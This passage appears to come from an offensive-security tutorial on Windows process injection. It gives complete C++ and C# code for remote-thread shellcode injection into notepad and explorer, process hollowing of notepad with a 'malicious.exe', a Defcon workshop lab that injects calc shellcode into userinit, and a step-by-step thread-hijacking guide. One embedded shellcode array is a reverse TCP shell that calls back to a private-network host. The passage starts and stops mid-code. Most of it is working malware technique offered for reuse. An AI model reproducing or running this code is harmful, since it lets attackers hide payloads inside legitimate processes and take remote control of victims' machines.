"\x68\x6e\x6f\x74\x65" // push 0x65746f6e (ASCII string: "note")
"\x68\x65\x70\x61\x64" // push 0x64617065 (ASCII string: "epad")
"\x8b\xcc" // mov ecx, esp
"\x6a\x00" // push 0x00
"\x51" // push ecx
"\xff\xd0"; // call eax
int main() {
// Open the target process (notepad.exe)
DWORD targetProcessId;
HWND hwndNotepad = FindWindowA(NULL, "Untitled - Notepad");
if (hwndNotepad != NULL) {
GetWindowThreadProcessId(hwndNotepad, &targetProcessId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
std::cout << "Failed to open target process." << std::endl;
return 1;
}
// Allocate memory in the target process
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
std::cout << "Failed to allocate memory in the target process." << std::endl;
CloseHandle(hProcess);
return 1;
}
// Write the shellcode to the allocated memory
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
std::cout << "Failed to write shellcode to the target process." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Execute the shellcode in the target process by creating a remote thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
std::cout << "Failed to create a remote thread in the target process." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Wait for the remote thread to finish
WaitForSingleObject(hThread, INFINITE);
// Cleanup
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
std::cout << "Shellcode injected successfully!" << std::endl;
} else {
std::cout << "Notepad process not found." << std::endl;
return 1;
}
return 0;
}
Please note that this example assumes that the “notepad.exe” process is already running and has an untitled notepad window open. If you’re testing this on your system, make sure to open Notepad and keep it untitled before running the code.
The provided shellcode in this example displays a message box with the title “notepad” and the message “cmd.exe”. You can modify the shellcode to execute different actions or payloads based on your requirements.
C# example
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Automatically obtain process ID
Process[] localByName = Process.GetProcessesByName("explorer");
if (localByName.Length == 0)
{
Console.WriteLine("No explorer process found.");
return;
}
int targetProcessId = localByName[0].Id;
// Obtain a handle to the target process
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x48,0x8b,
0x52,0x20,0x56,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Process Hollowing
This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE (Portable Executable) data and sections into the process.
The code below performs the following steps:
- It creates a new process (in this case, Notepad) in a suspended state.
- It opens a malicious executable file.
- It reads the headers of the malicious file to understand its structure.
- It unmaps the legitimate code from the process memory.
- It maps sections of the malicious file into the process memory.
- It sets the entry point of the process to the malicious code.
- Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.
Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.
#include <windows.h>
#include <iostream>
// Function to read the headers of the malicious image
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
// Read the DOS header
IMAGE_DOS_HEADER dosHeader;
DWORD bytesRead;
if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
return false;
// Verify the DOS signature
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
return false;
// Allocate memory for the DOS header and copy the data
*ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
if (*ppDosHeader == NULL)
return false;
memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));
// Move the file pointer to the NT headers
if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
return false;
// Read the NT headers
IMAGE_NT_HEADERS ntHeaders;
if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
return false;
// Verify the NT signature
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
return false;
// Allocate memory for the NT headers and copy the data
*ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
if (*ppNtHeaders == NULL)
return false;
memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));
return true;
}
// Function to un-map legitimate code from process memory
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Unmap the image from process memory
if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
return false;
return true;
}
// Function to map sections of the malicious image into process memory
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Iterate over each section in the image
IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// Calculate the section virtual address and size
LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;
// Allocate memory for the section in the target process
LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL)
return false;
// Read the section data from the file
DWORD bytesRead;
if (!ReadFile(hFile, remoteMemory, sectionSize, &bytesRead, NULL) || bytesRead != sectionSize)
return false;
}
return true;
}
// Function to set the entry point for the malicious code
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Calculate the entry point address
LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// Update the thread context to set the new entry point
CONTEXT context;
context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hProcess, &context);
context.Eip = (DWORD)entryPoint;
SetThreadContext(hProcess, &context);
}
int main() {
// Step 1: Create a target process in a suspended state
STARTUPINFOA startupInfo = { sizeof(startupInfo) };
PROCESS_INFORMATION processInfo;
if (!CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo)) {
std::cout << "Failed to create target process." << std::endl;
return 1;
}
// Step 2: Open the malicious image file
HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cout << "Failed to open malicious image." << std::endl;
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 3: Read the headers of the malicious image
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
if (!ReadImageHeaders(hFile, &pDosHeader, &pNtHeaders)) {
std::cout << "Failed to read image headers." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 4: Unmap legitimate code from process memory
if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
std::cout << "Failed to un-map legitimate code from process memory." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 5: Map sections of the malicious image into process memory
if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
std::cout << "Failed to map malicious sections into process memory." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 6: Set the entry point for the malicious code
SetEntryPoint(processInfo.hProcess, pNtHeaders);
// Resume the target process to execute the malicious code
if (ResumeThread(processInfo.hThread) == -1) {
std::cout << "Failed to resume the target process." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
std::cout << "Process hollowing completed successfully!" << std::endl;
// Cleanup
CloseHandle(hFile);
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
C# process hollowing from defcon27
See “Defcon – Writing custom backdoor payloads with C#” above for more info.
defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub
Lab 1 – Starting and suspending a process
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
public class Program
{
// P/Invoke declarations for kernel32.dll functions
// Opens an existing thread object
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
// Suspends the execution of a thread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
// Resumes the execution of a thread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
// Constant value for thread access rights
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// Specify the process to start
string proc = "msiexec.exe";
// Start the specified process
Process newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
Console.WriteLine("Press any key to suspend the process ...");
Console.ReadKey();
Console.WriteLine("Suspending process...");
// Iterate over each thread in the process
foreach (ProcessThread thread in newproc.Threads)
{
// Open the thread to get a handle
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
// If the thread handle is invalid, break the loop
if (pOpenThread == IntPtr.Zero)
{
break;
}
// Suspend the thread's execution
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
Console.WriteLine("Press any key to resume the process ...");
Console.ReadKey();
Console.WriteLine("Resuming process...");
// Iterate over each thread in the process again
foreach (ProcessThread thread in newproc.Threads)
{
// Open the thread to get a handle
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
// If the thread handle is invalid, break the loop
if (pOpenThread == IntPtr.Zero)
{
break;
}
// Resume the thread's execution
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}
Lab 2 – Getting a shell
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;
public class Program
{
// Constants for process access flags
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
// Importing necessary functions from kernel32.dll and ntdll.dll
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// Constants for memory allocation and protection
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// Shellcode generated using msfvenom
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00, 0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,
0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,
0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
};
string proc = "userinit.exe";
// Start the target process
Process newproc;
newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Suspending process...");
// Suspend all threads in the process
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
// Open the target process
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
// Allocate memory in the target process
IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocating memory");
// Write the shellcode into the allocated memory
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
Console.WriteLine("Copied shellcode in memory");
// Create a remote thread in the target process to execute the shellcode
IntPtr pinfo = IntPtr.Zero;
IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
Console.WriteLine("Created remote thread");
Console.WriteLine("Resuming process...");
// Resume all threads in the process
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}
In this code, the following external libraries are used:
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.
The code performs the following actions:
1. Defines constants for process access rights:
- `PROCESS_CREATE_THREAD`: Required to create a thread.
- `PROCESS_QUERY_INFORMATION`: Required to retrieve information about the process.
- `PROCESS_VM_OPERATION`: Required to perform virtual memory operations.
- `PROCESS_VM_WRITE`: Required to write to the process's memory.
- `PROCESS_VM_READ`: Required to read from the process's memory.
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
- `OpenThread`: Opens an existing thread object for access.
- `SuspendThread`: Suspends the execution of a thread.
- `ResumeThread`: Resumes the execution of a thread.
- `NtUnmapViewOfSection`: Unmaps a view of a section from the virtual address space of a target process.
- `OpenProcess`: Opens an existing local process object for access.
- `VirtualAllocEx`: Reserves or commits a region of memory within the virtual address space of a target process.
- `CreateRemoteThread`: Creates a thread that runs in the virtual address space of another process.
- `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
- `WriteProcessMemory`: Writes data to an area of memory in a specified process.
3. Defines constants for memory allocation and protection:
- `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
- `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
- `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.
4. Defines the `Main` method, which is the entry point of the program.
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.
6. Sets the target process name to "userinit.exe".
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.
Thread (execution) hijacking
Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.
In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.
At a high-level thread (execution) hijacking can be broken up into eleven steps:
- Locate and open a target process to control.
- Allocate memory region for malicious code.
- Write malicious code to allocated memory.
- Identify the thread ID of the target thread to hijack.
- Open the target thread.
- Suspend the target thread.
- Obtain the thread context.
- Update the instruction pointer to the malicious code.
- Rewrite the target thread context.
- Resume the hijacked thread.
- Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like
OpenProcess
in C# orOpenProcess
in C++.
IntPtr hProcess = OpenProcess(
ProcessAccessFlags.All, // Requests all possible access rights
false, // Child processes do not inherit parent process handle
processId // The ID of the target process
);
2. Allocating memory: Once you’re inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process’s memory using functions like VirtualAllocEx
in C# or VirtualAllocEx
in C++.
IntPtr remoteBuffer = VirtualAllocEx(
hProcess, // Opened target process
IntPtr.Zero,
shellcode.Length, // Size of memory allocation
AllocationType.Commit | AllocationType.Reserve, // Reserves and commits memory
MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
);
3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like WriteProcessMemory
in C# or WriteProcessMemory
in C++.
WriteProcessMemory(
hProcess, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
shellcode.Length, // Size of data in bytes
out _ // Ignored in this example
);
4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like CreateToolhelp32Snapshot
, Thread32First
, and Thread32Next
in C# or C++.
THREADENTRY32 threadEntry = new THREADENTRY32();
IntPtr hSnapshot = CreateToolhelp32Snapshot(
SnapshotFlags.Thread, // Snapshot of all threads
processId // ID of the target process
);
Thread32First(
hSnapshot,
ref threadEntry
);
while (Thread32Next(
hSnapshot,
ref threadEntry
)) {
// Check if the thread belongs to the target process
if (threadEntry.th32OwnerProcessID == processId) {
IntPtr hThread = OpenThread(
ThreadAccessFlags.All, // Requests all possible access rights
false, // Child threads do not inherit parent thread handle
threadEntry.th32ThreadID // ID of the target thread
);
break;
}
}
5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like OpenThread
in C# or C++.
IntPtr hThread = OpenThread(
ThreadAccessFlags.All, // Requests all possible access rights
false, // Child threads do not inherit parent thread handle
threadEntry.th32ThreadID // ID of the target thread
);
6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like SuspendThread
in C# or C++.
SuspendThread(hThread);
7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like GetThreadContext
in C# or C++.
CONTEXT context = new CONTEXT();
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
GetThreadContext(
hThread,
ref context
);
8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.
Note that context.Rip
is for x86_64 process architecture. While context.Eip
is for 32-bit x86 process architecutre.
context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code
9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like SetThreadContext
in C# or C++.
SetThreadContext(
hThread,
ref context
);
10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like ResumeThread
in C# or C++.
ResumeThread(hThread);
csharp example
The code below will inject a reverse shell into taskmgr with PID 1688.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
// Native WinAPI functions
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
const int PROCESS_ALL_ACCESS = 0x1F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RELEASE = 0x8000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
static void Main(string[] args)
{
// Obtain the target process (replace with the appropriate process ID)
Process targetProcess = Process.GetProcessById(1688);
// Open a handle to the target process
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);
// Allocate memory within the target process
IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Write the shellcode to be injected into the allocated memory
int bytesWritten;
WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);
